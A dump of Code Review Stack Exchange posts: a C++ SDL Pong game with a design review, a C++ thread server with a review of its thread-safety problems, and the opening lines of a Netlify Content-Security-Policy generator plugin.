//Initialize PNG loading
int imgFlags = IMG_INIT_PNG;
if (!(IMG_Init(imgFlags) & imgFlags))
{
std::cout << "SDL_image could not initialize! SDL_image Error: " << IMG_GetError() << "\n";
return false;
}
// Initialize SDL TTF (text render)
if (TTF_Init() == -1) {
std::cout << "Failed to initialise SDL_ttf. SDL_ttf error: " << TTF_GetError() << "\n";
}
// Load media
if (loadMedia() == false) {
return false;
}
_timeAtLaunch = SDL_GetTicks();
return true;
}
// Load textures from image and text
bool Game::loadMedia() {
_ball->setTexture(loadTexture("Resources/ball.png"));
_leftPlatform->setTexture(loadTexture("Resources/plank.bmp"));
_rightPlatform->setTexture(loadTexture("Resources/plank2.bmp"));
_fonts.push_back(TTF_OpenFont("Resources/ARLRDBD.TTF", 28));
if (_fonts[0] == NULL) {
std::cout << "Failed to load 28 ARIAL ROUNDED font. SDL_ttf error: " << TTF_GetError() << "\n";
return false;
}
_fonts.push_back(TTF_OpenFont("Resources/ARLRDBD.TTF", 14));
if (_fonts[1] == NULL) {
std::cout << "Failed to load 14 ARIAL ROUNDED font. SDL_ttf error: " << TTF_GetError() << "\n";
return false;
}
return true;
}
SDL_Texture* Game::loadFromRenderedText(std::string textureText, SDL_Color textColor, TTF_Font* font) {
SDL_Texture* newTexture = NULL;
SDL_Surface* textSurface = TTF_RenderText_Blended(font, textureText.c_str(), textColor);
if (textSurface == NULL) {
std::cout << "Unable to render text surface. SDL_ttf error: " << TTF_GetError() << "\n";
}
else {
newTexture = SDL_CreateTextureFromSurface(_renderer, textSurface);
if (newTexture == NULL) {
std::cout << "Unable to create texture from rendered text. SDL_ttf error: " << TTF_GetError() << "\n";
}
else {
}
SDL_FreeSurface(textSurface);
}
return newTexture;
}
SDL_Texture* Game::loadTexture(std::string path) {
SDL_Texture* newTexture = NULL;
SDL_Surface* loadedSurface = IMG_Load(path.c_str());
if (loadedSurface == NULL) {
std::cout << "Unable to load image " << path << ". SDL_image error: " << IMG_GetError() << "\n";
}
else {
newTexture = SDL_CreateTextureFromSurface(_renderer, loadedSurface);
if (newTexture == NULL) {
std::cout << "Unable to create texture from " << path << ". SDL Error: " << SDL_GetError() << "\n";
}
SDL_FreeSurface(loadedSurface);
}
return newTexture;
}
void Game::onEvents(SDL_Event* event) {
if (event->type == SDL_QUIT) {
_running = false;
}
else if (event->type == SDL_KEYDOWN) {
switch (event->key.keysym.sym)
{
case SDLK_UP:
_rightPlatform->moveUp();
break;
case SDLK_DOWN:
_rightPlatform->moveDown();
break;
case SDLK_w:
_leftPlatform->moveUp();
break;
case SDLK_s:
_leftPlatform->moveDown();
break;
case SDLK_SPACE:
if (_state == GameState::kScoreScreen || _state == GameState::kMainMenu) _state = GameState::kPreStart;
break;
default:
break;
}
}
else if (event->type == SDL_KEYUP) {
switch (event->key.keysym.sym)
{
case SDLK_UP:
_rightPlatform->stop();
break;
case SDLK_DOWN:
_rightPlatform->stop();
break;
case SDLK_w:
_leftPlatform->stop();
break;
case SDLK_s:
_leftPlatform->stop();
break;
default:
break;
}
}
}
// Helper function to assist with the correct bounce physics of the ball when in contact with the platforms
void bounceBall(int x, int y, Platform* platform, Ball* ball) {
int platformLeft;
int platformRight;
int platformTop;
int platformBottom;
int rectCenterX;
int rectCenterY;
// Move ball back one step
int newX = ball->curX() - ball->velocity().x;
int newY = ball->curY() - ball->velocity().y;
ball->curX(newX);
ball->curY(newY);
// Figure out where from the centre point of rectangle the collision occured
// Reflect ball away at this angle but keep its y velocity the same (only change y velocity if top/bottom of platform was hit)
// * * O
// * *
// * centre *
// * *
// * *
platformLeft = platform->boundingBox().x;
platformRight = platform->boundingBox().x + platform->boundingBox().w;
platformTop = platform->boundingBox().y;
platformBottom = platform->boundingBox().y + platform->boundingBox().h;
rectCenterX = (platformLeft + platformRight) / 2;
rectCenterY = (platformBottom + platformTop) / 2;
int diffX = x - rectCenterX;
int diffY = y - rectCenterY;
int y_magnitude = abs(diffY / diffX);
int y_dir_ball = ball->velocity().y < 0 ? -1 : 1;
int direction_multiplierY = 1;
if (y - ball->velocity().y >= platformBottom || y - ball->velocity().y <= platformTop) direction_multiplierY = -1; // check if bottom or top of platform was hit
// Calculate new y velocity
int yVel = y_magnitude * y_dir_ball * direction_multiplierY;
// Calculate new x velocity
int xVel = ball->velocity().x * -1;
ball->setVelocity({ xVel, yVel });
}
void Game::checkAndReactToPlatformCollisions() {
// Left platform on boundary
if (_leftPlatform->curY() < 0) {
_leftPlatform->curY(0);
_leftPlatform->stop();
}
if ((_leftPlatform->curY() + _leftPlatform->boundingBox().h) > (GAME_HEIGHT)) {
_leftPlatform->curY(GAME_HEIGHT - _leftPlatform->boundingBox().h);
_leftPlatform->stop();
}
// Right platform on boundary
if (_rightPlatform->curY() < 0) {
_rightPlatform->curY(0);
_rightPlatform->stop();
}
if ((_rightPlatform->curY() + _rightPlatform->boundingBox().h) > (GAME_HEIGHT)) {
_rightPlatform->curY(GAME_HEIGHT - _rightPlatform->boundingBox().h);
_rightPlatform->stop();
}
}
void Game::checkAndReactToBallCollisions(int& winner) {
winner = -1;
// Ball on boundary
int ballDiameter = 2 * _ball->boundingBox().r;
//LEFT
if (_ball->curX() < 0) { // PLAYER 2 WINS
/*_scoresVector[1]++;
_ball->setVelocity({ 0, 0 });
_state = GameState::kScoreScreen;
updateScoreText();*/
winner = 1;
}
//RIGHT
else if (_ball->curX() > GAME_WIDTH - ballDiameter) { // PLAYER 1 WINS
/*_scoresVector[0]++;
_ball->setVelocity({ 0, 0 });
_state = GameState::kScoreScreen;
updateScoreText();*/
winner = 0;
}
//TOP
else if (_ball->curY() < 0) {
int yVel = _ball->velocity().y;
int xVel = _ball->velocity().x;
_ball->setVelocity({ xVel, -yVel });
_ball->curY(0);
}
//BOTTOM
else if (_ball->curY() > GAME_HEIGHT - ballDiameter) {
int yVel = _ball->velocity().y;
int xVel = _ball->velocity().x;
_ball->setVelocity({ xVel, -yVel });
_ball->curY(GAME_HEIGHT - ballDiameter);
}
// Ball collision on platforms
int x = -1;
int y = -1;
CollisionDetection::detectCollision(_ball->boundingBox(), _leftPlatform->boundingBox(), x, y);
if (x != -1 && y != -1) {
bounceBall(x, y, _leftPlatform.get(), _ball.get());
}
CollisionDetection::detectCollision(_ball->boundingBox(), _rightPlatform->boundingBox(), x, y);
if (x != -1 && y != -1) {
bounceBall(x, y, _rightPlatform.get(), _ball.get());
}
}
void Game::gameLoop() {
int winner = -1;
switch (_state)
{
case GameState::kMainMenu:{
_scoresVector = { 0, 0 };
_leftPlatform->move();
_rightPlatform->move();
checkAndReactToPlatformCollisions();
}break;
case GameState::kPreStart:{
_gameStarted = false;
_ball->setVelocity({ 0,0 });
_ball->curX(GAME_WIDTH / 2);
_ball->curY(GAME_HEIGHT / 2);
_threadSafeTimer.start(std::chrono::milliseconds(1500));
_state = GameState::kStart;
}break;
case GameState::kStart:{
if (_threadSafeTimer.isCompleted() == true && _gameStarted == false) {
_ball->setRandomVelocity();
_gameStarted = true;
}
_leftPlatform->move();
_rightPlatform->move();
checkAndReactToPlatformCollisions();
_ball->move();
checkAndReactToBallCollisions(winner);
if (winner != -1) {
_scoresVector[winner]++;
_state = GameState::kScoreScreen;
}
}break;
case GameState::kScoreScreen:{
int a = 1;
}break;
}
}
void Game::updateScoreTextTure() {
std::ostringstream oss;
oss << "Score: " << std::setw(5) << std::right << _scoresVector[0] << " - " << _scoresVector[1];
SDL_Color white = { 255,255,255 };
if (_scoresTexture != NULL) SDL_DestroyTexture(_scoresTexture);
_scoresTexture = loadFromRenderedText(oss.str().c_str(), white, _fonts[0]);
if (_scoresTexture == NULL) {
std::cout << "Failed to change _scoresTexture texture \n";
}
}
void Game::renderText(SDL_Texture* tt, int xpos, int ypos) {
if (tt == NULL) return;
int w=140;
int h=40;
SDL_QueryTexture(tt, NULL, NULL, &w, &h);
SDL_Rect newPos = { xpos, ypos , w, h };
SDL_RenderCopy(_renderer, tt, NULL, &newPos);
}
void print_FPS(uint32_t time_since_start, int frames) {
int t = SDL_GetTicks();
float fps = (static_cast<float>(frames)*1000) / (t - time_since_start);
std::cout << "Avg FPS: " << std::setprecision(2) << fps << "\n";
}
void Game::render() {
SDL_Color white = { 255,255,255 };
int t1 = SDL_GetTicks();
int w = 0;
int h = 0;
SDL_RenderClear(_renderer);
if (_state == GameState::kMainMenu) {
_controlsTexture = loadFromRenderedText("W/S", white, _fonts[1]);
renderText(_controlsTexture, 20, 20);
_controlsTexture = loadFromRenderedText("UP/DOWN", white, _fonts[1]);
w = 0;
SDL_QueryTexture(_controlsTexture, NULL, NULL, &w, NULL);
renderText(_controlsTexture, 580-w, 20);
_countdownTimer = loadFromRenderedText("Press SPACE to Start", white, _fonts[0]);
SDL_QueryTexture(_countdownTimer, NULL, NULL, &w, NULL);
renderText(_countdownTimer, GAME_WIDTH / 2 - (w / 2), 350);
updateScoreTextTure();
}
else if (_state == GameState::kScoreScreen) {
updateScoreTextTure();
_countdownTimer = loadFromRenderedText("Press SPACE to re-match", white, _fonts[1]);
SDL_QueryTexture(_countdownTimer, NULL, NULL, &w, NULL);
renderText(_countdownTimer, GAME_WIDTH / 2 - (w / 2), 350);
}
_leftPlatform->render(_renderer);
_rightPlatform->render(_renderer);
_ball->render(_renderer);
// Render scores
SDL_QueryTexture(_scoresTexture, NULL, NULL, &w, NULL);
renderText(_scoresTexture, GAME_WIDTH/2 - (w/2), 20);
SDL_SetRenderDrawColor(_renderer, 0x30, 0x30, 0x30, 0xFF);
SDL_RenderPresent(_renderer);
_frames++;
// Delay to keep FPS consistent
int t2 = SDL_GetTicks() - t1;
int ticks_per_frame = 1000 / 60;
if (t2 < ticks_per_frame) SDL_Delay(ticks_per_frame - t2);
print_FPS(_timeAtLaunch, _frames);
}
void Game::cleanUp() {
cout << "End. Cleaning up..." << endl;
for (auto f : _fonts) {
TTF_CloseFont(f);
f = NULL;
}
SDL_DestroyRenderer(_renderer);
SDL_DestroyWindow(_mainWindow);
//SDL_FreeSurface(_gameSurface);
_renderer = NULL;
_mainWindow = NULL;
IMG_Quit();
SDL_Quit();
TTF_Quit();
}
</code></pre>
|
[
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T12:49:38.110",
"Id": "489546",
"Score": "0",
"body": "did you tried introduce ECS?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T15:53:18.097",
"Id": "489572",
"Score": "0",
"body": "@Sugar I know briefly what ECS is and from that I felt like it would be an overkill for this simple game concept? I could be wrong- I'm happy to investigate in to this. Thanks"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-23T18:41:50.993",
"Id": "489729",
"Score": "3",
"body": "\"it felt much easier, quicker and less verbose to continue expanding the Game class\" this is absolutely true. The problem is that it *doesn't scale*. Once you get above a certain LoC count it just doesn't work anymore and you spend more time trying to find the part of the code you need to fix than fixing the actual problem."
}
] |
[
{
"body": "<h2>Overall Observations</h2>\n<p>If I were a teacher I would give you an A+ for effort and about a B- for implementation.</p>\n<p>From a design point of view try to separate the logic of the game as much as possible from the display of the game. Real gaming companies will do this to be able to distribute the same game for multiple platforms. This would also allow the use of the same game core using different graphic packages. While I doubt that <a href=\"https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93controller\" rel=\"nofollow noreferrer\">Model View Control (MVC)</a> or <a href=\"https://en.wikipedia.org/wiki/Model%E2%80%93view%E2%80%93viewmodel\" rel=\"nofollow noreferrer\">Model View View Model (MVVM)</a> are the exact design patterns that games are built on, it is the kind of concept you want to use.</p>\n<p>When you design object oriented programs you want to try to follow the <a href=\"https://en.wikipedia.org/wiki/SOLID\" rel=\"nofollow noreferrer\">SOLID design principles</a>. SOLID is a mnemonic acronym for five design principles intended to make software designs more understandable, flexible and maintainable. This will help you design your objects and classes better.</p>\n<ol>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Single-responsibility_principle\" rel=\"nofollow noreferrer\">Single Responsibility Principle</a> - A class should only have a single responsibility, that is, only changes to one part of the software's specification should be able to affect the specification of the class.</li>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Open%E2%80%93closed_principle\" rel=\"nofollow noreferrer\">Open–closed Principle</a> - states software entities (classes, modules, functions, etc.) should be open for extension, but closed for modification.</li>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Liskov_substitution_principle\" rel=\"nofollow noreferrer\">Liskov Substitution Principle</a> - Objects in a program should be replaceable with instances of their subtypes without altering the correctness of that program.</li>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Interface_segregation_principle\" rel=\"nofollow noreferrer\">Interface segregation principle</a> - states that no client should be forced to depend on methods it does not use.</li>\n<li>The <a href=\"https://en.wikipedia.org/wiki/Dependency_inversion_principle\" rel=\"nofollow noreferrer\">Dependency Inversion Principle</a> - is a specific form of decoupling software modules. When following this principle, the conventional dependency relationships established from high-level, policy-setting modules to low-level, dependency modules are reversed, thus rendering high-level modules independent of the low-level module implementation details.</li>\n</ol>\n<h2>Class Declaration Organization</h2>\n<p>You will very rarely be the only person working on a project in the industry, one or more people may be implementing the logic of the program and one or more other people may be implementing the display of the program. Over time a programming convention has emerged that public properties and methods should be at the top of the class declaration so that the programmers working with you can easily find them. This is generally the organization within the implementation of the class as well.</p>\n<h2>Reduce the Includes Within the Header Files</h2>\n<p>Only include header files that are necessary for compilation to a header file, include the other header files in the C++ source file as necessary for compilation. There are multiple reasons for this, one is that a basic premise of object oriented design is <a href=\"https://en.wikipedia.org/wiki/Encapsulation_(computer_programming)\" rel=\"nofollow noreferrer\">encapsulation</a> which means that the internals of the class are protected. Another reason for reducing the included files within a header file is how include files are implemented in C and C++, the code in the include header is actually copied physically into a temporary version of the C++ source file being compiled. This means that the simple main program below all 7 lines of it will actually contain possibly more than a 1000 lines of code, most of which it doesn't need to compile because in addition to the 60 lines of code <code>Game.h</code> there are 14 includes most of which are non-trivial.</p>\n<pre><code>#include "Game.h"\n\nint main(int argc, char* argv[])\n{\n Game game;\n return game.execute();\n}\n</code></pre>\n<h2>Each Class Declaration Should be in Its Own Header File</h2>\n<p>The file <code>GameObjects.h</code> contains 3 class declarations and multiple struct declarations, there should be 3 header files instead, <code>GameObjects.h</code> that declares the <code>GameObject</code> base class, <code>ball.h</code> that includes <code>GameObjects.h</code> and declares the ball class and <code>platform.h</code> that includes <code>GameObjects.h</code>. The file <code>Game.h</code> should include <code>ball.h</code> and <code>platform.h</code> and not <code>GameObjects.h</code>. It might also be better if you could find a way not to include those headers in <code>Game.h</code>, one way that comes to mind is to use <code>class ball;</code> and <code>class platform;</code> at the top top of the <code>Game.h</code> file, then the compiler knows that those are pointers to a class without knowing the details of the class. The <code>ball.h</code> file and the <code>platform.h</code> file can then be included prior to <code>Game.h</code> in <code>Game.cpp</code>.</p>\n<p>I've modified <code>CollisionDetection.h</code> and <code>CollisionDetection.cpp</code> to demonstrate what I mean:</p>\n<p><strong>CollisionDetection.h</strong></p>\n<pre><code>#pragma once\n\nstruct Circle;\nstruct SDL_Rect;\n\nclass CollisionDetection\n{\npublic:\n static int square_of_distance(int x1, int y1, int x2, int y2);\n static void detectCollision(const Circle& item1, const SDL_Rect& item2, int& collisionX, int& collisionY);\n\n};\n</code></pre>\n<p><strong>CollisionDetection.cpp</strong></p>\n<pre><code>#include <cmath>\n#include "GameObjects.h"\n#include "CollisionDetection.h"\n#include <iostream>\n\n// Checks if circle and rectangle have collided. Returns 2 ints representing where on x and y they collided. Both will be -1, -1 if no collision.\nvoid CollisionDetection::detectCollision(const Circle& circle, const SDL_Rect& rectangle, int& collision_x, int& collision_y) {\n\n collision_x = -1;\n collision_y = -1;\n\n int rectCollidePointY = 0;\n int rectCollidePointX = 0;\n\n // Check where on the y axis the circle is in relation to the rectangle\n if (circle.y > rectangle.y + rectangle.h) rectCollidePointY = rectangle.y + rectangle.h; // circle below rectangle\n else if (circle.y < rectangle.y) rectCollidePointY = rectangle.y; // circle above rectangle\n else rectCollidePointY = circle.y; // circle somewhere in the middle of rectangle in y axis\n\n // Check where on the x axis the circle is in relation to the rectangle\n if (circle.x > rectangle.x + rectangle.w) rectCollidePointX = rectangle.x + rectangle.w; // circle to the right of whole rectangle\n else if (circle.x < rectangle.x) rectCollidePointX = rectangle.x; // circle to the left of whole rectangle\n else rectCollidePointX = circle.x; // circle somewhere in the middle of rectangle in x axis\n\n int d = square_of_distance(circle.x, circle.y, rectCollidePointX, rectCollidePointY);\n\n if (d < pow(circle.r, 2)) {\n collision_x = rectCollidePointX;\n collision_y = rectCollidePointY;\n return;\n }\n}\n\nint CollisionDetection::square_of_distance(int x1, int y1, int x2, int y2) {\n return static_cast<int>(pow(x1 - x2, 2) + pow(y1 - y2, 2));\n}\n</code></pre>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T16:17:40.687",
"Id": "489583",
"Score": "1",
"body": "would you say it is mostly enough for software projects to adhere to the SOLID design principles for them to have a good class structure? I need something I can rely on to write good software every time!"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T16:30:28.083",
"Id": "489584",
"Score": "1",
"body": "It is a very good start. Also continue on with using UML, when you see a class get too large by itself in UML that's a good indication it's not following the single responsibility principle. A large class can be an aggregate of smaller classes. Try to make your base classes abstract classes if possible, that won't always be necessary. Experience will make you better."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T14:06:49.920",
"Id": "249682",
"ParentId": "249674",
"Score": "16"
}
}
] |
{
"AcceptedAnswerId": null,
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T10:30:27.137",
"Id": "249674",
"Score": "25",
"Tags": [
"c++",
"object-oriented",
"design-patterns",
"sdl",
"pong"
],
"Title": "A Pong Game using C++"
}
|
249674
|
<p>So I created a thread server that creates threads and associates them with a handle so that you can keep specific threads for specific tasks e.g. run all graphics rendering on thread 0, run physics stepping on thread 1 and use thread 2 for downloading a file of the internet etc. Personally I've found it useful in a project of mine and I highly prefer this to a typical job system where you don't have any control over what thread the task is executed on.</p>
<p>I'd like to know what room for improvement there is, especially in optimization and whether or not you think the overhead is justified.</p>
<p>Each thread executes tasks in a task queue, so I made a Thread_Safe_Queue which is just a wrapper for std::queue but with a mutex before read/writes:</p>
<pre><code>template<typename T>
struct Thread_Safe_Queue {
Thread_Safe_Queue() = default;
Thread_Safe_Queue(Thread_Safe_Queue<T>&& other) noexcept {
std::lock_guard<std::mutex> lock(mutex);
queue = std::move(other.queue);
}
Thread_Safe_Queue(const Thread_Safe_Queue<T>& other) {
std::lock_guard<std::mutex> lock(mutex);
queue = other.queue;
}
virtual ~Thread_Safe_Queue() { }
size_t size() const {
std::lock_guard<std::mutex> lock(mutex);
return queue.size();
}
std::optional<T> pop() {
std::lock_guard<std::mutex> lock(mutex);
if (queue.empty()) {
return {};
}
T tmp = queue.front();
queue.pop();
return tmp;
}
std::optional<T> front() {
std::lock_guard<std::mutex> lock(mutex);
if (queue.empty()) {
return {};
}
return queue.front();
}
void push(const T &item) {
std::lock_guard<std::mutex> lock(mutex);
queue.push(item);
}
bool empty() const {
std::lock_guard<std::mutex> lock(mutex);
return queue.empty();
}
void clear() {
std::lock_guard<std::mutex> lock(mutex);
queue = std::queue<T>();
}
std::queue<T> queue;
mutable std::mutex mutex;
};
</code></pre>
<p>Thread_Server.h:</p>
<pre><code>#include "thread_safe_queue.h"
#include <thread>
#include <functional>
typedef unsigned int thread_id_t;
constexpr thread_id_t NULL_THREAD = (thread_id_t)0 - (thread_id_t)1;
typedef std::function<void()> Thread_Task;
struct Thread_Context {
Thread_Safe_Queue<Thread_Task> task_queue;
bool pause;
bool kill = false;
bool dead = false;
};
struct Thread_Server {
Thread_Server();
~Thread_Server();
thread_id_t make_thread(bool start = true);
void pause_thread(thread_id_t tid);
void start_thread(thread_id_t tid);
void kill_thread(thread_id_t tid);
void queue_task(thread_id_t tid, const Thread_Task& task);
void wait_for_thread(thread_id_t tid);
bool is_thread_busy(thread_id_t tid);
std::vector<Thread_Context> _thread_contexts;
};
</code></pre>
<p>thread_server.cpp:</p>
<pre><code>#include "thread_server.h"
void work(thread_id_t tid, std::vector<Thread_Context>* pcontexts) {
auto& contexts = *pcontexts;
while (!contexts[tid].kill) {
while (contexts[tid].pause);
auto cmd = contexts[tid].task_queue.front();
if (cmd.has_value()) {
cmd.value()();
contexts[tid].task_queue.pop();
}
}
contexts[tid].dead = true;
}
Thread_Server::Thread_Server() {
}
Thread_Server::~Thread_Server() {
for (int i = 0; i < _thread_contexts.size(); i++) {
wait_for_thread(i);
_thread_contexts[i].kill = true;
}
}
thread_id_t Thread_Server::make_thread(bool start) {
thread_id_t tid = NULL_THREAD;
for (thread_id_t i = 0; i < _thread_contexts.size(); i++) {
if (_thread_contexts[i].dead) {
_thread_contexts[i].dead = false;
_thread_contexts[i].kill = false;
_thread_contexts[i].pause = !start;
_thread_contexts[i].task_queue.clear();
tid = i;
break;
}
}
if (tid == NULL_THREAD) {
tid = (thread_id_t)_thread_contexts.size();
Thread_Context ctx;
ctx.pause = !start;
_thread_contexts.push_back(ctx);
}
std::thread(work, tid, &_thread_contexts).detach();
return tid;
}
void Thread_Server::pause_thread(thread_id_t tid) {
_thread_contexts[tid].pause = true;
}
void Thread_Server::start_thread(thread_id_t tid) {
_thread_contexts[tid].pause = false;
}
void Thread_Server::kill_thread(thread_id_t tid) {
_thread_contexts[tid].kill = true;
}
void Thread_Server::queue_task(thread_id_t tid, const Thread_Task& task) {
auto& ctx = _thread_contexts[tid];
ctx.task_queue.push(task);
}
void Thread_Server::wait_for_thread(thread_id_t tid) {
auto& ctx = _thread_contexts[tid];
while (ctx.task_queue.size() > 0);
}
bool Thread_Server::is_thread_busy(thread_id_t tid) {
return _thread_contexts[tid].task_queue.size() > 0;
}
</code></pre>
<p>As you can see there are also functions to pause/start/kill and wait for a specific thread. This can be used to sync threads and wait for return values etc.</p>
<p>As a use case example, you could have one thread for rendering a loading symbol until another thread is finished e.g. downloading a file from the internet and then using the downloaded file:</p>
<pre><code>void update() {
if (want_to_download_something) {
thread_server.queue_task(download_thread, [url]() {
download_result = download(url);
});
}
if (thread_server.is_thread_busy(download_thread)) {
render_loading_icon("Downloading file");
} else if (download_result) {
do_something(download_result);
}
}
</code></pre>
<p>And here's a quick test to make sure it's working correctly:</p>
<pre><code>#include <iostream>
#include "thread_server.h"
int main()
{
Thread_Server thread_server;
auto t1 = thread_server.make_thread();
auto t2 = thread_server.make_thread();
auto t3 = thread_server.make_thread();
for (int i = 0; i < 10; i++) {
thread_server.queue_task(t1, []() {
std::cout << "\nHello from thread 1 (std::this_thread::get_id(): " << std::this_thread::get_id() << " )\n";
});
thread_server.queue_task(t2, []() {
std::cout << "\nHello from thread 2 (std::this_thread::get_id(): " << std::this_thread::get_id() << " )\n";
});
thread_server.queue_task(t3, []() {
std::cout << "\nHello from thread 3 (std::this_thread::get_id(): " << std::this_thread::get_id() << " )\n";
});
}
std::cin.get();
}
</code></pre>
<p><strong>Edit:</strong> I'm fairly new to multithreading so if you have anything to say about the safety of my code I'll be more than glad to hear it.</p>
|
[] |
[
{
"body": "<h2>Overview</h2>\n<blockquote>\n<p>So I created a thread server that creates threads and associates them with a handle so that you can keep specific threads for specific tasks e.g. run all graphics rendering on thread 0, run physics stepping on thread 1 and use thread 2 for downloading a file of the internet etc.</p>\n</blockquote>\n<p>I don't think that is a good idea in general. Though it is an easy way to think about things and may make it a good learning experience.</p>\n<p>In general thread 2 will sit around doing nothing. Thread 0 will either be exceedingly busy or doing nothing and thread 1 will probably be clobbered with all the work.</p>\n<p>I don't know about the physics stuff. Have no idea how that would work. But the other two (Graphics/ Internet) are both event driven activities. They would be best served with an event system Unless you plan on writing this yourself (non trivial) then use somebody else.</p>\n<p>Now saying that. Both of these may be their own separate event loops with a thread each. But what usually happens is that you have a master thread the constantly runs the event loop then when an action happens the master thread creates a creates a <code>job</code> (work item) which is handed to a work queue. You then have a bunch of threads in the work queue that grab jobs as they appear in the queue and simply execute them.</p>\n<blockquote>\n<p>Personally I've found it useful in a project of mine and I highly prefer this to a typical job system where you don't have any control over what thread the task is executed on.</p>\n</blockquote>\n<p>Yes it will be easier. But it sounds like you have to much global state. You should be wrapping state in work items not having global state that can be messed up by multiple threads.</p>\n<blockquote>\n<p>I'd like to know what room for improvement there is, especially in optimization and whether or not you think the overhead is justified.</p>\n</blockquote>\n<p>Lets take a look :-)</p>\n<pre><code>Each thread executes tasks in a task queue, so I made a Thread_Safe_Queue which is just a wrapper for std::queue but with a mutex before read/writes:\n</code></pre>\n<h2>Code review.</h2>\n<p>Don't you want to lock the <code>other</code> queues here?</p>\n<pre><code> Thread_Safe_Queue(Thread_Safe_Queue<T>&& other) noexcept {\n std::lock_guard<std::mutex> lock(mutex);\n queue = std::move(other.queue);\n }\n</code></pre>\n<p>Its not really thread safe if you lock the destination (which is not fully formed so can not have been handed to another thread) but the source is still being mutated possibly another thread.</p>\n<hr />\n<p>Do you really want to be able to copy the queues?</p>\n<pre><code> Thread_Safe_Queue(const Thread_Safe_Queue<T>& other) {\n std::lock_guard<std::mutex> lock(mutex);\n queue = other.queue;\n }\n</code></pre>\n<p>You should still lock the source!</p>\n<hr />\n<p>So you wrapped the queue so that you could add <code>lock_guards</code> on each method. Fine. But a bit wasteful. A call to <code>empty()</code> will tell you if the queue is empty at that point but a subsequent pop can not guarantee that it is still empty as you released the lock between the call to empty and the call to pop.</p>\n<pre><code> std::optional<T> pop() {\n std::optional<T> front() {\n void push(const T &item) {\n bool empty() const {\n void clear() {\n</code></pre>\n<p>I would write a queue that performs at a higher level. How about a blocking queue. Want to pop an item. If there is no item to pop the thread is blocked until there is one. Or will wait a minimum amount of time for the object to appear.</p>\n<hr />\n<p>Interesting:</p>\n<pre><code>constexpr thread_id_t NULL_THREAD = (thread_id_t)0 - (thread_id_t)1;\n</code></pre>\n<p>Is this a complex way of writing:</p>\n<pre><code>constexpr thread_id_t NULL_THREAD = static_cast<thread_id_t>(-1);\n</code></pre>\n<p>Two things.</p>\n<ul>\n<li>Avoid all uppercase identifiers. Technically these are reserved for macros.</li>\n<li>Prefer to use C++ casts rather than C casts.</li>\n</ul>\n<hr />\n<p>Why are you passing by pointer?</p>\n<pre><code>void work(thread_id_t tid, std::vector<Thread_Context>* pcontexts) {\n</code></pre>\n<p>Are you passing ownership (then use <code>std::unique_ptr<></code>). Can the passed object be <code>nullptr</code> (does not look like it you don't check it for null).</p>\n<p>Pass by reference rather than pointer. Then explicitly means you are not passing ownership and the called function should not delete the pointer. Otherwise there is confusion on if the <code>work()</code> function should or should not delete the pointer.</p>\n<hr />\n<p>This look like a bug</p>\n<pre><code> while (contexts[tid].pause); // Loop forever !\n</code></pre>\n<p>This is equivalent to:</p>\n<pre><code> while (contexts[tid].pause)\n {}\n</code></pre>\n<p>You hit the loop. The body changes no state so the loop can not be exited.</p>\n<hr />\n<pre><code>void work(thread_id_t tid, std::vector<Thread_Context>* pcontexts) {\n</code></pre>\n<p>Had to read forward to understand this.<br />\nSorry this is broken.</p>\n<p>You try and get around the fact that a vector may reallocate its space by passing an index to the work item in the vector. The problem here is that there is no access restriction once the thread is creating and a new thread (created with <code>make_thread()</code>) can cause the <code>pcontexts</code> to be resized at anytime. Access to a vector is not thread safe so if the vector is in the middle of being re-sized then accesses to its members via <code>operator[]</code> is not guaranteed to be valid.</p>\n<hr />\n<p>Assigning a thread to a single work item is not very productive. A thread is a relatively heavyweight object so you don't want to be creating them willy nilly when new work items are created.</p>\n<pre><code>void work(thread_id_t tid, std::vector<Thread_Context>* pcontexts) {\n auto& contexts = *pcontexts;\n while (!contexts[tid].kill) {\n while (contexts[tid].pause);\n auto cmd = contexts[tid].task_queue.front();\n if (cmd.has_value()) {\n cmd.value()();\n contexts[tid].task_queue.pop();\n }\n }\n contexts[tid].dead = true;\n}\n</code></pre>\n<p>You should create a bunch of work threads then let them pick up work items from the queue. When they have finished hold them with a condition variable until there is work available.</p>\n<hr />\n<h2>Expectations</h2>\n<pre><code>void actionToUploadFile()\n{\n workEventLoop.addItem([url]{\n guiEvenLoop.addAlert('Downloading');\n download(url);\n guiEvenLoop.delAlert();\n workEvenLoop.addItem(do_something);\n });\n}\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T17:25:11.143",
"Id": "249692",
"ParentId": "249675",
"Score": "4"
}
}
] |
{
"AcceptedAnswerId": "249692",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2020-09-22T11:09:22.110",
"Id": "249675",
"Score": "5",
"Tags": [
"c++",
"performance",
"multithreading"
],
"Title": "C++ Thread Server: Thread control & management"
}
|
249675
|
<p>The following code is a Node-based <a href="https://www.npmjs.com/package/netlify-plugin-csp-generator" rel="nofollow noreferrer">Netlify plugin</a> to generate <code>Content-Security-Policy</code> rules based on inline styles and scripts.</p>
<h3>Inputs</h3>
<ul>
<li><code>buildDir</code> - a string for setting the build directory.</li>
<li><code>exclude</code> - an array of file paths to exclude from processing. (defaults <code>[]</code>)</li>
<li><code>policies</code> - an object of policies in camel case, for example <code>defaultSrc</code>.</li>
<li><code>setAllPolicies</code> - a boolean as to whether to set policies where none exists. (defaults <code>false</code>)</li>
</ul>
<h2>Code</h2>
<pre class="lang-js prettyprint-override"><code>const fs = require('fs')
const globby = require('globby')
const sha256 = require('js-sha256').sha256
const { JSDOM } = require('jsdom')
module.exports = {
onPostBuild: async ({ inputs }) => {
const { buildDir, exclude, policies, setAllPolicies } = inputs
const mergedPolicies = mergeWithDefaultPolicies(policies)
